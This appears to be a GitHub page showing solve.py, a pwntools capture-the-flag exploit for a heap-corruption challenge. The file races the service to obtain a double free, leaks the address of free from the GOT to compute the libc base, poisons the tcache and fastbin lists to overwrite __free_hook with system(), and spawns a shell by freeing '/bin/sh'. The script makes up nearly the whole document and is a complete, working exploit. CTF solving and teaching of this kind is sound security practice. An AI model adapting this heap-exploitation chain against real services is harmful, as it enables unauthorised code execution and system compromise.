-
Notifications
You must be signed in to change notification settings - Fork 65
/
solve.py
215 lines (190 loc) · 5.34 KB
/
solve.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
import os
import sys
import time
from pwn import *
#p = process('./a.out', stderr=sys.stderr)
p = remote('out-of-order.chal.perfect.blue', 1337)
def do_pow():
p.recvuntil("PoW: Give me x where sha256('")
nonce = p.recvn(15)
p.recvline()
print(nonce)
solver = process('./pow')
solver.sendline(nonce)
solution = solver.recvall()
print(solution)
p.sendline(solution)
#do_pow()
RACE_SIZE = 40000
def examine_results():
global p
time.sleep(1.0)
try:
p.sendline(b'3')
x = p.recvuntil(b'results:\n')
except EOFError:
print('EOFError, remote probably crashed')
p = remote('54.164.45.235', 1337)
return []
n_results = int(re.search(rb'(\d+) results:', x).group(1))
# print('%d results' % n_results)
shid = p.recvuntil(b'Choose a result: #')
shid = shid.split(b'\n')
assert len(shid) == RACE_SIZE+1
shid = shid[:-1]
results = [None]*RACE_SIZE
for i, l in enumerate(shid):
l = l[1:].rstrip().split(b': ')
assert int(l[0]) == i
results[i] = l[1]
# return to mainmenu
p.sendline(b'0')
p.recvline()
p.sendline(b'1')
p.recvline()
p.recvline()
p.recvline()
return results
n_results = RACE_SIZE
def alloc(value):
time.sleep(0.1)
global n_results
p.sendline(b'1')
p.sendline(b'1')
p.sendline(value)
p.sendline(b'2')
p.recvuntil(b' results\n')
n_results += 1
return n_results-1
def free(i):
time.sleep(0.1)
p.sendline(b'3')
p.sendline(b'%d' % i)
p.recvuntil(b'Choose a result: #')
p.sendline(b'2')
# p.recvuntil(b'Result deleted')
def read_back(i):
time.sleep(0.1)
p.sendline(b'3')
p.sendline(b'%d' % i)
p.recvuntil(b'Choose a result: #')
p.sendline(b'1')
p.recvuntil(b'Input: ')
value = p.recvuntil(b'\n')[:-1]
# print('Read back:', repr(value))
return value
def spray():
log.info('Sending race payload')
p.send(b'1\n%d\n' % RACE_SIZE)
p.send(race_payload)
# print('Racing done')
p.sendline(b'2')
print('Generating payload')
race_payload = b''.join(b'%d\n' % i for i in range(RACE_SIZE))
binary = ELF('./a.out')
libc = ELF('libc-2.31.so')
while True:
spray()
# check for dangling ptr
results = examine_results()
for i, s in enumerate(results):
if s != (b'%d'%i):
log.success('Double free detected! Result %d actually had value "%s"' % (i, s))
uaf_one = i
break
else:
log.failure('No UAF, try again...')
p.sendline(b'4')
p.recvuntil(b'All saved results cleared\n')
continue
break
# log.info('We have UAF on result %d' % uaf_one)
uaf_str = results[uaf_one]
uaf_two = int(uaf_str) # if this isnt aliased to another Request object, we're fucked anyways
log.info('Overlapped chunks: results %d and %d' % (uaf_one, uaf_two))
tmp2 = alloc(b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')
log.info('Free uaf 1')
free(uaf_one)
log.info('Free shield')
free(tmp2)
tmp3 = alloc(p64(binary.got['free']))
leak = u64(read_back(uaf_two).ljust(8, b'\x00'))
log.info('Leak: ' + hex(leak))
if not leak or leak & 0xf or (leak >> 32 != 0xffff):
raise ValueError("bad leak");
libc_base = leak - libc.symbols['free']
if libc_base & 0xfff:
raise ValueError('bad libc_base')
log.info('libc_base = ' + hex(libc_base))
libc.address = libc_base
system = libc.symbols['system']
free_hook = libc.symbols['__free_hook']
log.info('system() = ' + hex(system))
log.info('free_hook = ' + hex(free_hook))
# Leak some random heap chunk
free(tmp3)
tmp3 = alloc(p64(binary.symbols['wq'] + 8))
heap_leak = u64(read_back(uaf_two).ljust(8, b'\x00'))
log.info('Heap chunk leak: ' + hex(heap_leak))
# Write the heap chunk into uaf_two so we can free it without having glibc freaking the fuck out
free(tmp3)
tmp3 = alloc(p64(heap_leak))
# Fill tcache
log.info('Fill tcache... ')
print(',', end='')
tmp10 = alloc(b'AAAAAAAAAAAAAAAAAAAAAAA')
print(',', end='')
tmp11 = alloc(b'AAAAAAAAAAAAAAAAAAAAAAA')
print(',', end='')
tmp12 = alloc(b'AAAAAAAAAAAAAAAAAAAAAAA')
print(',', end='')
tmp13 = alloc(b'AAAAAAAAAAAAAAAAAAAAAAA')
print(',', end='')
tmp14 = alloc(b'AAAAAAAAAAAAAAAAAAAAAAA')
print(',', end='')
tmp15 = alloc(b'AAAAAAAAAAAAAAAAAAAAAAA')
print(',', end='')
tmp16 = alloc(b'AAAAAAAAAAAAAAAAAAAAAAA')
print(',', end='')
tmp17 = alloc(b'AAAAAAAAAAAAAAAAAAAAAAA')
print(',', end='')
free(tmp10)
print('.', end='')
free(tmp11)
print('.', end='')
free(tmp12)
print('.', end='')
free(tmp13)
print('.', end='')
free(tmp14)
print('.', end='')
free(tmp15)
print('.', end='')
free(tmp16)
print('.', end='')
print()
log.info('Lets go!')
free(uaf_two) # Goes to fastbin
log.info('Freed UAF2')
# free(tmp17) # Avoid fasttop double free abort
# Drain tcache so that we can re-alloc tmp3 and smash the fastbin fd of freed UAF2
log.info('Drain tcache...')
alloc(b'AAAAAAAAAAAAAAAAAAAAAAA')
alloc(b'AAAAAAAAAAAAAAAAAAAAAAA')
alloc(b'AAAAAAAAAAAAAAAAAAAAAAA')
alloc(b'AAAAAAAAAAAAAAAAAAAAAAA')
alloc(b'AAAAAAAAAAAAAAAAAAAAAAA')
alloc(b'AAAAAAAAAAAAAAAAAAAAAAA')
alloc(b'AAAAAAAAAAAAAAAAAAAAAAA')
log.success('tcache drained')
# Smash fastbin fd pointer
log.info('Overwrite fastbin fd...')
free(tmp3)
tmp3 = alloc(p64(free_hook-0x10))
# This will write our desired contents into free_hook
log.info('Overwrite free_hook')
alloc(p64(system))
# Trigger!
log.info('Trigger shell!')
free(alloc(b'/bin/sh'))
p.interactive()